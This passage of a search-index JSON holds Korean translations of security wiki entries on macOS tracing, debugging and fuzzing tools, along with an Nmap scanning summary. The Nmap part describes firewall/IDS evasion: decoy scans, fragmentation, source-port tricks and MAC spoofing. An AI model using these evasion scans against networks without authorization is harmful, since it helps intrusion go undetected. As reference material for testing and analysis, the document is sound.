확인할 수 있습니다. 예제 man -k dtrace를 실행하여 사용 가능한 DTrace 스크립트 를 나열합니다. 예: sudo dtruss -n binary bash #Count the number of syscalls of each running process\\nsudo dtrace -n \'syscall:::entry {@[execname] = count()}\' 스크립트 bash syscall:::entry\\n/pid == $1/\\n{\\n} #Log every syscall of a PID\\nsudo dtrace -s script.d 1234 bash syscall::open:entry\\n{\\nprintf(\\"%s(%s)\\", probefunc, copyinstr(arg0));\\n}\\nsyscall::close:entry\\n{\\nprintf(\\"%s(%d)\\\\n\\", probefunc, arg0);\\n} #Log files opened and closed by a process\\nsudo dtrace -s b.d -c \\"cat /etc/hosts\\" bash syscall:::entry\\n{\\n;\\n}\\nsyscall:::return\\n{\\nprintf(\\"=%d\\\\n\\", arg1);\\n} #Log sys calls with values\\nsudo dtrace -s syscalls_info.d -c \\"cat /etc/hosts\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » dtrace","id":"2044","title":"dtrace"},"2045":{"body":"bash dtruss -c ls #Get syscalls of ls\\ndtruss -c -p 1000 #get syscalls of PID 1000","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » dtruss","id":"2045","title":"dtruss"},"2046":{"body":"커널 추적 기능입니다. 문서화된 코드는 **/usr/share/misc/trace.codes**에서 찾을 수 있습니다. latency, sc_usage, fs_usage 및 trace와 같은 도구는 내부적으로 이를 사용합니다. kdebug와 인터페이스하기 위해 sysctl은 kern.kdebug 네임스페이스를 통해 사용되며, 사용할 MIB는 bsd/kern/kdebug.c에 구현된 함수가 있는 sys/sysctl.h에서 찾을 수 있습니다. 커스텀 클라이언트로 kdebug와 상호작용하기 위한 일반적인 단계는 다음과 같습니다: KERN_KDSETREMOVE로 기존 설정 제거 KERN_KDSETBUF 및 KERN_KDSETUP으로 추적 설정 KERN_KDGETBUF로 버퍼 항목 수 가져오기 KERN_KDPINDEX로 추적에서 자신의 클라이언트 가져오기 KERN_KDENABLE로 추적 활성화 KERN_KDREADTR 호출로 버퍼 읽기 각 스레드를 해당 프로세스와 일치시키기 위해 KERN_KDTHRMAP 호출. 이 정보를 얻기 위해 Apple 도구 trace 또는 커스텀 도구 kDebugView (kdv) 를 사용할 수 있습니다. Kdebug는 한 번에 1명의 고객에게만 제공된다는 점에 유의하십시오. 따라서 한 번에 하나의 k-debug 기반 도구만 실행할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » kdebug","id":"2046","title":"kdebug"},"2047":{"body":"ktrace_* API는 libktrace.dylib에서 제공되며, 이는 Kdebug의 래퍼입니다. 클라이언트는 ktrace_session_create 및 ktrace_events_[single/class]를 호출하여 특정 코드에 대한 콜백을 설정한 다음 ktrace_start로 시작할 수 있습니다. SIP가 활성화된 상태에서도 이 도구를 사용할 수 있습니다. 클라이언트로는 유틸리티 ktrace를 사용할 수 있습니다: bash ktrace trace -s -S -t c -c ls | grep \\"ls(\\" Or tailspin.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » ktrace","id":"2047","title":"ktrace"},"2048":{"body":"이것은 커널 수준 프로파일링을 수행하는 데 사용되며 Kdebug 호출을 사용하여 구축됩니다. 기본적으로, 전역 변수 kernel_debug_active가 확인되고 설정되면 Kdebug 코드와 호출하는 커널 프레임의 주소로 kperf_kdebug_handler를 호출합니다. 선택된 Kdebug 코드와 일치하면 비트맵으로 구성된 \\"작업\\"을 가져옵니다(옵션은 osfmk/kperf/action.h를 확인하십시오). Kperf에는 sysctl MIB 테이블도 있습니다: (루트로) sysctl kperf. 이 코드는 osfmk/kperf/kperfbsd.c에서 찾을 수 있습니다. 게다가, Kperf의 기능의 하위 집합은 kpc에 존재하며, 이는 머신 성능 카운터에 대한 정보를 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » kperf","id":"2048","title":"kperf"},"2049":{"body":"ProcessMonitor 는 프로세스가 수행하는 프로세스 관련 작업을 확인하는 데 매우 유용한 도구입니다(예: 프로세스가 생성하는 새로운 프로세스를 모니터링).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » ProcessMonitor","id":"2049","title":"ProcessMonitor"},"205":{"body":"-sS : 연결을 완료하지 않으므로 흔적을 남기지 않으며, 사용 가능할 경우 매우 좋습니다.(권한 필요) 기본적으로 사용되는 것입니다. -sT : 연결을 완료하므로 흔적을 남기지만, 확실히 사용할 수 있습니다. 기본적으로 권한 없이 사용됩니다. -sU : 느리며, UDP용입니다. 주로: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 도달 불가), 필터링(다른 ICMP), 열림/필터링(아무것도). 열림/필터링의 경우, -sV는 nmap이 지원하는 버전을 감지하기 위해 많은 요청을 보냅니다. 이로 인해 시간이 많이 증가합니다. -sY : SCTP 프로토콜이 연결을 설정하지 못하므로 로그가 없으며, -PY와 같이 작동합니다. -sN,-sX,-sF: Null, Fin, Xmas, 일부 방화벽을 침투하고 정보를 추출할 수 있습니다. 표준 준수 기계는 SYN, RST 또는 ACK 지연이 없는 모든 요청에 RST로 응답해야 한다는 사실에 기반합니다: 열림/필터링(아무것도), 닫힘(RST), 필터링 (ICMP 도달 불가). Windows, Cisco, BSDI 및 OS/400에서는 신뢰할 수 없습니다. Unix에서는 가능합니다. -sM : Maimon 스캔: FIN 및 ACK 플래그를 전송하며, BSD에 사용되며 현재는 모두 닫힘으로 반환됩니다. -sA, sW : ACK 및 Window, 방화벽을 감지하는 데 사용되며, 포트가 필터링되는지 여부를 알 수 있습니다. -sW는 열림/닫힘을 구분합니다. 열림은 0이 아닌 다른 창 값으로 RST로 응답하고, 닫힘은 RST 창 = 0, 필터링은 ICMP 도달 불가 또는 아무것도입니다. 모든 컴퓨터가 이렇게 작동하는 것은 아니므로, 모두 닫혀 있으면 작동하지 않으며, 몇 개가 열려 있으면 잘 작동하고, 많은 개가 열려 있고 몇 개가 닫혀 있으면 반대로 작동합니다. -sI: 유휴 스캔. 활성 방화벽이 있지만 특정 IP에 대해 필터링하지 않는 경우(또는 단순히 익명성을 원할 때) 좀비 스캐너를 사용할 수 있습니다(모든 포트에 대해 작동). 가능한 좀비를 찾기 위해 scrpit ipidseq 또는 exploit auxiliary/scanner/ip/ipidseq를 사용할 수 있습니다. 이 스캐너는 IP 패킷의 IPID 번호를 기반으로 합니다. --badsum: 잘못된 합계를 전송하며, 컴퓨터는 패킷을 폐기하지만 방화벽은 무언가에 응답할 수 있습니다. 방화벽을 감지하는 데 사용됩니다. -sZ: \\"이상한\\" SCTP 스캐너로, 쿠키 에코 조각이 있는 프로브를 전송할 때 열려 있으면 드롭되어야 하며, 닫혀 있으면 ABORT로 응답해야 합니다. init를 통과하지 않는 방화벽을 통과할 수 있지만, 필터링과 열림을 구분하지 않습니다. -sO: 프로토콜 IP 스캔. 때때로 프로토콜조차 구분할 수 없는 잘못된 및 빈 헤더를 전송합니다. ICMP 도달 불가 프로토콜이 도착하면 닫힘이며, 도달 불가 포트가 도착하면 열림이며, 다른 오류가 도착하면 필터링되고, 아무것도 도착하지 않으면 열림|필터링입니다. -b : FTPhost--> 다른 호스트에서 호스트를 스캔하는 데 사용되며, 이는 다른 머신의 ftp에 연결하고 다른 머신에서 스캔하려는 포트로 파일을 전송하도록 요청하여 수행됩니다. 응답에 따라 열려 있는지 여부를 알 수 있습니다. [:@][:] 거의 모든 ftp 서버는 더 이상 이를 허용하지 않으므로 실용성이 떨어집니다.","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » 포트 스캔 기술","id":"205","title":"포트 스캔 기술"},"2050":{"body":"SpriteTree 는 프로세스 간의 관계를 출력하는 도구입니다. **sudo eslogger fork exec rename create > cap.json**와 같은 명령으로 Mac을 모니터링해야 합니다(이 작업을 수행하는 터미널은 FDA가 필요합니다). 그런 다음 이 도구에서 json을 로드하여 모든 관계를 볼 수 있습니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » SpriteTree","id":"2050","title":"SpriteTree"},"2051":{"body":"FileMonitor 는 파일 이벤트(생성, 수정 및 삭제와 같은)를 모니터링하여 이러한 이벤트에 대한 자세한 정보를 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » FileMonitor","id":"2051","title":"FileMonitor"},"2052":{"body":"Crescendo 는 Microsoft Sysinternal의 _Procmon_에서 Windows 사용자가 알 수 있는 모양과 느낌을 가진 GUI 도구입니다. 이 도구는 다양한 이벤트 유형의 기록을 시작하고 중지할 수 있으며, 파일, 프로세스, 네트워크 등과 같은 카테고리별로 이러한 이벤트를 필터링할 수 있는 기능을 제공하고, 기록된 이벤트를 json 형식으로 저장할 수 있는 기능을 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Crescendo","id":"2052","title":"Crescendo"},"2053":{"body":"Apple Instruments 는 Xcode의 개발자 도구의 일부로, 애플리케이션 성능 모니터링, 메모리 누수 식별 및 파일 시스템 활동 추적에 사용됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Apple Instruments","id":"2053","title":"Apple Instruments"},"2054":{"body":"프로세스가 수행하는 작업을 추적할 수 있습니다: bash fs_usage -w -f filesys ls #This tracks filesystem actions of proccess names containing ls\\nfs_usage -w -f network curl #This tracks network actions","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » fs_usage","id":"2054","title":"fs_usage"},"2055":{"body":"Taskexplorer 은 이진 파일에서 사용되는 라이브러리 , 사용 중인 파일 및 네트워크 연결을 확인하는 데 유용합니다. 또한 이진 프로세스를 virustotal 과 대조하여 이진 파일에 대한 정보를 보여줍니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » TaskExplorer","id":"2055","title":"TaskExplorer"},"2056":{"body":"이 블로그 게시물 에서는 **PT_DENY_ATTACH**를 사용하여 디버깅을 방지하는 실행 중인 데몬 을 디버깅하는 방법에 대한 예제를 찾을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » PT_DENY_ATTACH","id":"2056","title":"PT_DENY_ATTACH"},"2057":{"body":"lldb 는 macOS 이진 디버깅 을 위한 사실상의 도구입니다. bash lldb ./malware.bin\\nlldb -p 1122\\nlldb -n malware.bin\\nlldb -n malware.bin --waitfor 홈 폴더에 **.lldbinit**라는 파일을 생성하고 다음 줄을 추가하여 intel flavour를 설정할 수 있습니다: bash settings set target.x86-disassembly-flavor intel warning lldb 내에서 process save-core로 프로세스를 덤프합니다. (lldb) 명령어설명run (r)실행을 시작하며, 중단점이 hit되거나 프로세스가 종료될 때까지 계속됩니다.process launch --stop-at-entry진입점에서 중단하며 실행을 시작합니다.continue (c)디버깅 중인 프로세스의 실행을 계속합니다.nexti (n / ni)다음 명령어를 실행합니다. 이 명령어는 함수 호출을 건너뜁니다.stepi (s / si)다음 명령어를 실행합니다. nexti 명령어와 달리, 이 명령어는 함수 호출로 들어갑니다.finish (f)현재 함수(“프레임”)의 나머지 명령어를 실행하고 반환 후 중단합니다.control + c실행을 일시 중지합니다. 프로세스가 run (r) 또는 continue (c)로 실행된 경우, 현재 실행 중인 위치에서 프로세스가 중단됩니다.breakpoint (b)b main # main이라고 호출된 모든 함수b `main # bin의 main 함수b set -n main --shlib # 지정된 bin의 main 함수breakpoint set -r \'\\\\[NSFileManager .*\\\\]$\' # 모든 NSFileManager 메서드breakpoint set -r \'\\\\[NSFileManager contentsOfDirectoryAtPath:.*\\\\]$\'break set -r . -s libobjc.A.dylib # 해당 라이브러리의 모든 함수에서 중단b -a 0x0000000100004bd9br l # 중단점 목록br e/dis # 중단점 활성화/비활성화breakpoint delete helphelp breakpoint # 중단점 명령어 도움말help memory write # 메모리에 쓰기 위한 도움말regreg readreg read $raxreg read $rax --format <format>reg write $rip 0x100035cc0x/s 메모리를 null-terminated 문자열로 표시합니다.x/i 메모리를 어셈블리 명령어로 표시합니다.x/b 메모리를 바이트로 표시합니다.print object (po)이 명령어는 매개변수로 참조된 객체를 출력합니다.po $raw{dnsChanger = {\\"affiliate\\" = \\"\\";\\"blacklist_dns\\" = ();Apple의 대부분의 Objective-C API 또는 메서드는 객체를 반환하므로, “print object” (po) 명령어를 통해 표시해야 합니다. po가 의미 있는 출력을 생성하지 않으면 x/b를 사용하세요.memorymemory read 0x000....memory read $x0+0xf2amemory write 0x100600000 -s 4 0x41414141 # 해당 주소에 AAAA 쓰기memory write -f s $rip+0x11f+7 \\"AAAA\\" # 해당 주소에 AAAA 쓰기disassemblydis # 현재 함수의 디스어셈블리dis -n # 함수의 디스어셈블리dis -n -b # 함수의 디스어셈블리dis -c 6 # 6줄 디스어셈블리dis -c 0x100003764 -e 0x100003768 # 한 주소에서 다른 주소까지dis -p -c 4 # 현재 주소에서 디스어셈블리 시작parrayparray 3 (char **)$x1 # x1 레지스터의 3개 구성 요소 배열 확인image dump sections현재 프로세스 메모리의 맵을 출력합니다.image dump symtab image dump symtab CoreNLP # CoreNLP의 모든 기호 주소 가져오기 tip objc_sendMsg 함수를 호출할 때, rsi 레지스터는 null-terminated (“C”) 문자열로서 메서드의 이름 을 보유합니다. lldb를 통해 이름을 출력하려면 다음을 수행하세요: (lldb) x/s $rsi: 0x1000f1576: \\"startMiningWithPort:password:coreCount:slowMemory:currency:\\" (lldb) print (char*)$rsi: (char *) $1 = 0x00000001000f1576 \\"startMiningWithPort:password:coreCount:slowMemory:currency:\\" (lldb) reg read $rsi: rsi = 0x00000001000f1576 \\"startMiningWithPort:password:coreCount:slowMemory:currency:\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » lldb","id":"2057","title":"lldb"},"2058":{"body":"VM 탐지 sysctl hw.model 명령어는 호스트가 MacOS 일 때 \\"Mac\\"을 반환하지만, VM일 경우 다른 값을 반환합니다. hw.logicalcpu 및 **hw.physicalcpu**의 값을 조작하여 일부 악성코드는 VM인지 감지하려고 합니다. 일부 악성코드는 MAC 주소(00:50:56)를 기반으로 VMware 인지도 탐지 할 수 있습니다. 간단한 코드로 프로세스가 디버깅되고 있는지 확인할 수 있습니다: if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //디버깅 중인 프로세스 } ptrace 시스템 호출을 PT_DENY_ATTACH 플래그와 함께 호출할 수도 있습니다. 이는 디버거가 연결하고 추적하는 것을 방지 합니다. sysctl 또는 ptrace 함수가 가져와지는지 확인할 수 있습니다 (하지만 악성코드는 동적으로 가져올 수 있습니다). 이 글에서 언급된 바와 같이, “ Defeating Anti-Debug Techniques: macOS ptrace variants ” : “ 메시지 Process # exited with **status = 45 (0x0000002d)**는 디버그 대상이 PT_DENY_ATTACH 를 사용하고 있다는 신호입니다. ”","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 안티 다이나믹 분석","id":"2058","title":"안티 다이나믹 분석"},"2059":{"body":"코어 덤프는 다음과 같은 경우에 생성됩니다: kern.coredump sysctl이 1로 설정되어 있을 때 (기본값) 프로세스가 suid/sgid가 아니거나 kern.sugid_coredump가 1일 때 (기본값은 0) AS_CORE 제한이 작업을 허용할 때. ulimit -c 0을 호출하여 코드 덤프 생성을 억제할 수 있으며, ulimit -c unlimited로 다시 활성화할 수 있습니다. 이 경우 코어 덤프는 kern.corefile sysctl에 따라 생성되며, 일반적으로 /cores/core/.%P에 저장됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 코어 덤프","id":"2059","title":"코어 덤프"},"206":{"body":"-p: 스캔할 포트를 지정하는 데 사용됩니다. 모든 65,335 포트를 선택하려면: -p- 또는 -p all . Nmap은 인기 기반의 내부 분류를 사용합니다. 기본적으로 상위 1000 포트를 사용합니다. -F (빠른 스캔)를 사용하면 상위 100개를 분석합니다. **--top-ports **를 사용하면 상위 포트 수를 분석합니다(1에서 65,335까지). 포트를 무작위 순서로 확인합니다. 이를 방지하려면 -r 을 사용하세요. 특정 포트를 선택할 수도 있습니다: 20-30,80,443,1024- (후자는 1024부터 검색함을 의미합니다). 프로토콜별로 포트를 그룹화할 수도 있습니다: U:53,T:21-25,80,139,S:9. Nmap의 인기 포트 내에서 범위를 선택할 수도 있습니다: -p [-1024]는 nmap-services에 포함된 포트에서 1024까지 분석합니다. --port-ratio 가장 일반적인 포트를 0과 1 사이의 비율로 분석합니다. -sV 버전 스캔, 강도를 0에서 9까지 조절할 수 있으며, 기본값은 7입니다. --version-intensity 강도를 조절하여 낮을수록 가장 가능성이 높은 프로브만 실행하지만 모두 실행하지는 않습니다. 이를 통해 UDP 스캔 시간을 상당히 단축할 수 있습니다. -O OS 감지 --osscan-limit 적절한 호스트 스캔을 위해서는 최소한 하나의 열린 포트와 하나의 닫힌 포트가 필요합니다. 이 조건이 충족되지 않으면 OS 예측을 시도하지 않습니다(시간 절약). --osscan-guess OS 감지가 완벽하지 않을 때 더 열심히 시도하게 합니다. 스크립트 --script | | | [,...] 기본 스크립트를 사용하려면 -sC 또는 --script=default를 사용하세요. 사용 가능한 유형은: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, 및 vuln입니다. Auth: 사용 가능한 모든 인증 스크립트를 실행합니다. Default: 기본 기본 도구 스크립트를 실행합니다. Discovery: 대상 또는 희생자로부터 정보를 검색합니다. External: 외부 리소스를 사용하는 스크립트입니다. Intrusive: 희생자 또는 대상을 침해하는 것으로 간주되는 스크립트를 사용합니다. Malware: 악성 코드 또는 백도어에 의해 열린 연결을 확인합니다. Safe: 비침습적 스크립트를 실행합니다. Vuln: 가장 잘 알려진 취약점을 발견합니다. All: 사용 가능한 모든 NSE 확장 스크립트를 실행합니다. 스크립트를 검색하려면: nmap --script-help=\\"http-*\\" -> http-로 시작하는 것들 nmap --script-help=\\"not intrusive\\" -> 그 외 모든 것 nmap --script-help=\\"default or safe\\" -> 둘 중 하나 또는 둘 다 nmap --script-help=\\"default and safe\\" --> 둘 다 nmap --script-help=\\"(default or safe or intrusive) and not http-*\\" --script-args = , ={ = }, ={ , } --script-args-file --script-help | | | |all[,...] --script-trace ---> 스크립트 진행 상황에 대한 정보를 제공합니다. --script-updatedb 스크립트를 사용하려면 다음과 같이 입력하세요: nmap --script Script_Name target --> 스크립트를 사용할 때 스크립트와 스캐너가 모두 실행되므로 스캐너 옵션도 추가할 수 있습니다. **\\"safe=1\\"**을 추가하여 안전한 것만 실행할 수 있습니다. 시간 제어 Nmap은 초, 분, ms 단위로 시간을 수정할 수 있습니다: --host-timeout 인수 900000ms, 900, 900s, 및 15m 모두 동일한 작업을 수행합니다. Nmap은 스캔할 총 호스트 수를 그룹으로 나누고 이러한 그룹을 블록으로 분석하므로 모든 호스트가 분석될 때까지 다음 블록으로 이동하지 않습니다(사용자는 블록이 분석될 때까지 업데이트를 받지 않습니다). 이렇게 하면 Nmap이 대규모 그룹을 사용하는 것이 더 최적화됩니다. 기본적으로 클래스 C에서는 256을 사용합니다. 이는 --min-hostgroup ; --max-hostgroup _ _로 변경할 수 있습니다(병렬 스캔 그룹 크기 조정). 병렬 스캐너 수를 제어할 수 있지만 그렇게 하지 않는 것이 좋습니다(Nmap은 이미 네트워크 상태에 따라 자동 제어를 포함합니다): --min-parallelism ; --max-parallelism RTT 타임아웃을 수정할 수 있지만 일반적으로 필요하지 않습니다: --min-rtt-timeout , --max-rtt-timeout , --initial-rtt-timeout 시도 횟수를 수정할 수 있습니다: --max-retries 호스트의 스캔 시간을 수정할 수 있습니다: --host-timeout 각 테스트 간의 시간을 수정하여 느리게 할 수 있습니다: --scan-delay ; --max-scan-delay 초당 패킷 수를 수정할 수 있습니다: --min-rate ; --max-rate 많은 포트는 필터링되거나 닫혀 있을 때 응답하는 데 오랜 시간이 걸립니다. 열린 포트에만 관심이 있다면 다음과 같이 더 빠르게 진행할 수 있습니다: --defeat-rst-ratelimit Nmap의 공격성을 정의하려면: -T paranoid|sneaky|polite|normal|aggressive|insane -T (0-1) -T0 --> 한 번에 1개의 포트만 스캔하고 다음 포트까지 5분을 기다립니다. -T1 및 T2 --> 매우 유사하지만 각 테스트 간에 각각 15초 및 0.4초만 기다립니다. -T3 --> 기본 작동으로, 병렬 스캔을 포함합니다. -T4 --> --max-rtt-timeout 1250ms --min-rtt-timeout 100ms --initial-rtt-timeout 500ms --max-retries 6 --max-scan-delay 10ms -T5 --> --max-rtt-timeout 300ms --min-rtt-timeout 50ms --initial-rtt-timeout 250ms --max-retries 2 --host-timeout 15m --max-scan-delay 5ms 방화벽/IDS 포트에 대한 접근을 허용하지 않으며 패킷을 분석합니다. -f 패킷을 조각화하며, 기본적으로 헤더 이후 8바이트로 조각화합니다. 이 크기를 지정하려면 ..mtu를 사용합니다(이 경우 -f를 사용하지 마세요), 오프셋은 8의 배수여야 합니다. 버전 스캐너 및 스크립트는 조각화를 지원하지 않습니다. -D decoy1,decoy2,ME Nmap은 스캐너를 보내지만 다른 IP 주소를 원본으로 사용하여 숨깁니다. 목록에 ME를 추가하면 Nmap이 그곳에 배치하므로, 완전히 마스킹하려면 5개 또는 6개를 먼저 추가하는 것이 좋습니다. RND:로 무작위 IP를 생성할 수 있습니다. 의 무작위 IP를 생성합니다. 연결 없이 TCP 버전 감지기와 함께 작동하지 않습니다. 네트워크 내부에 있는 경우 활성 IP를 사용하는 것이 좋습니다. 그렇지 않으면 당신이 유일한 활성 IP라는 것을 쉽게 알아낼 수 있습니다. 무작위 IP를 사용하려면: nmap -D RND:10 Target_IP -S IP Nmap이 IP 주소를 잡지 못할 때 이를 제공해야 합니다. 또한 다른 대상이 자신을 스캔하고 있다고 생각하게 만듭니다. -e 인터페이스를 선택합니다. 많은 관리자가 모든 것이 제대로 작동하도록 하기 위해 모든 포트를 열어 두며, 이는 다른 해결책을 찾는 것보다 더 쉽습니다. 이러한 포트는 DNS 포트 또는 FTP 포트일 수 있습니다... 이 취약점을 찾기 위해 Nmap은 다음을 포함합니다: --source-port ;-g 동일합니다. --data 16진수 텍스트를 전송합니다: --data 0xdeadbeef 및 --data \\\\xCA\\\\xFE\\\\x09 --data-string 일반 텍스트를 전송합니다: --data-string \\"Security Ops에 의해 수행된 스캔, 내선 7192\\" --data-length Nmap은 헤더만 전송하며, 이를 통해 더 많은 바이트 수를 추가할 수 있습니다(무작위로 생성됨). IP 패킷을 완전히 구성하려면 --ip-options 를 사용하세요. 전송 및 수신된 패킷의 옵션을 보려면 --packet-trace를 지정하세요. Nmap에서 IP 옵션을 사용하는 방법에 대한 자세한 정보와 예제는 http://seclists.org/nmap-dev/2006/q3/52 를 참조하세요. --ttl --randomize-hosts 공격을 덜 눈에 띄게 만듭니다. --spoof-mac MAC을 변경합니다. 예: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, 및 Cisco --proxies 프록시를 사용합니다. 때때로 프록시가 Nmap이 원하는 만큼 많은 열린 연결을 유지하지 않으므로 병렬성을 수정해야 할 수 있습니다: --max-parallelism -sP ARP를 통해 네트워크의 호스트를 발견합니다. 많은 관리자가 특정 포트에서 오는 모든 패킷을 통과시키는 방화벽 규칙을 생성합니다(예: 20,53 및 67). Nmap에 이러한 포트에서 패킷을 전송하도록 지시할 수 있습니다: nmap --source-port 53 IP 출력 -oN file 일반 출력 -oX file XML 출력 -oS file 스크립트 키디 출력 -oG file Greppable 출력 -oA file -oS를 제외한 모든 것 -v level 상세도 -d level 디버깅 --reason 호스트 및 상태의 이유 --stats-every time 매번 그 시간마다 진행 상황을 알려줍니다. --packet-trace 어떤 패킷이 나가는지 보기 위해, --version-trace 또는 --script-trace와 같은 필터를 지정할 수 있습니다. --open 열린, 열림|필터링 및 필터링되지 않은 것을 보여줍니다. --resume file 요약을 출력합니다. 기타 -6 IPv6 허용 -A -O -sV -sC --traceroute와 동일합니다. 실행 시간 Nmap이 실행되는 동안 옵션을 변경할 수 있습니다: v / V 상세도 수준을 증가/감소시킵니다. d / D 디버깅 수준을 증가/감소시킵니다. p / P 패킷 추적을 켜거나 끕니다. ? 실행 시간 상호작용 도움말 화면을 인쇄합니다. Vulscan 오프라인 데이터베이스에서 얻은 서비스 버전을 살펴보는 Nmap 스크립트(다른 매우 중요한 것들에서 다운로드됨)이며, 가능한 취약점을 반환합니다. 사용하는 DB는 다음과 같습니다: Scipvuldb.csv | http://www.scip.ch/en/?vuldb Cve.csv | http://cve.mitre.org Osvdb.csv | http://www.osvdb.org Securityfocus.csv | http://www.securityfocus.com/bid/ Securitytracker.csv | http://www.securitytracker.com Xforce.csv | http://xforce.iss.net Exploitdb.csv | http://www.exploit-db.com Openvas.csv | http://www.openvas.org Nmap 폴더에 다운로드하고 설치하려면: wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar -czvf nmap_nse_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/ DB 패키지도 다운로드하여 /usr/share/nmap/scripts/vulscan/에 추가해야 합니다. 사용법: 모두 사용하려면: sudo nmap -sV --script=vulscan HOST_TO_SCAN 특정 DB를 사용하려면: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_TO_SCAN","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » 초점 분석","id":"206","title":"초점 분석"},"2060":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 퍼징","id":"2060","title":"퍼징"},"2061":{"body":"ReportCrash는 충돌하는 프로세스를 분석하고 충돌 보고서를 디스크에 저장합니다 . 충돌 보고서에는 개발자가 충돌 원인을 진단하는 데 도움이 되는 정보 가 포함되어 있습니다. 사용자별 launchd 컨텍스트에서 실행되는 애플리케이션 및 기타 프로세스 에 대해 ReportCrash는 LaunchAgent로 실행되며, 사용자의 ~/Library/Logs/DiagnosticReports/에 충돌 보고서를 저장합니다. 데몬, 시스템 launchd 컨텍스트에서 실행되는 기타 프로세스 및 기타 권한 있는 프로세스에 대해 ReportCrash는 LaunchDaemon으로 실행되며, 시스템의 /Library/Logs/DiagnosticReports에 충돌 보고서를 저장합니다. 충돌 보고서가 Apple로 전송되는 것에 대해 걱정된다면 이를 비활성화할 수 있습니다. 그렇지 않으면, 충돌 보고서는 서버가 어떻게 충돌했는지 알아내는 데 유용할 수 있습니다 . bash #To disable crash reporting:\\nlaunchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist\\nsudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist #To re-enable crash reporting:\\nlaunchctl load -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist\\nsudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.plist","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » ReportCrash","id":"2061","title":"ReportCrash"},"2062":{"body":"MacOS에서 퍼징할 때 Mac이 수면 상태에 들어가지 않도록 하는 것이 중요합니다: systemsetup -setsleep Never pmset, 시스템 환경설정 KeepingYouAwake SSH 연결 끊김 SSH 연결을 통해 퍼징하는 경우 세션이 종료되지 않도록 하는 것이 중요합니다. 따라서 sshd_config 파일을 다음과 같이 변경하십시오: TCPKeepAlive Yes ClientAliveInterval 0 ClientAliveCountMax 0 bash sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist\\nsudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » 수면","id":"2062","title":"수면"},"2063":{"body":"다음 페이지를 확인하세요 어떤 앱이 지정된 스킴 또는 프로토콜을 처리하는지 찾는 방법을 알아보세요: macOS File Extension & URL scheme app handlers","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Internal Handlers","id":"2063","title":"Internal Handlers"},"2064":{"body":"네트워크 데이터를 관리하는 프로세스를 찾는 것은 흥미롭습니다: bash dtrace -n \'syscall::recv*:entry { printf(\\"-> %s (pid=%d)\\", execname, pid); }\' >> recv.log\\n#wait some time\\nsort -u recv.log > procs.txt\\ncat procs.txt 또는 netstat 또는 lsof를 사용하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Enumerating Network Processes","id":"2064","title":"Enumerating Network Processes"},"2065":{"body":"bash lldb -o \\"target create `which some-binary`\\" -o \\"settings set target.env-vars DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib\\" -o \\"run arg1 arg2\\" -o \\"bt\\" -o \\"reg read\\" -o \\"dis -s \\\\$pc-32 -c 24 -m -F intel\\" -o \\"quit\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Libgmalloc","id":"2065","title":"Libgmalloc"},"2066":{"body":"AFL++ CLI 도구에 대해 작동합니다. Litefuzz macOS GUI 도구와 \\" 그냥 작동\\" 합니다. 일부 macOS 앱은 고유한 파일 이름, 올바른 확장자와 같은 특정 요구 사항이 있으며, 샌드박스에서 파일을 읽어야 합니다 (~/Library/Containers/com.apple.Safari/Data)... 몇 가지 예: bash # iBooks\\nlitefuzz -l -c \\"/System/Applications/Books.app/Contents/MacOS/Books FUZZ\\" -i files/epub -o crashes/ibooks -t /Users/test/Library/Containers/com.apple.iBooksX/Data/tmp -x 10 -n 100000 -ez # -l : Local\\n# -c : 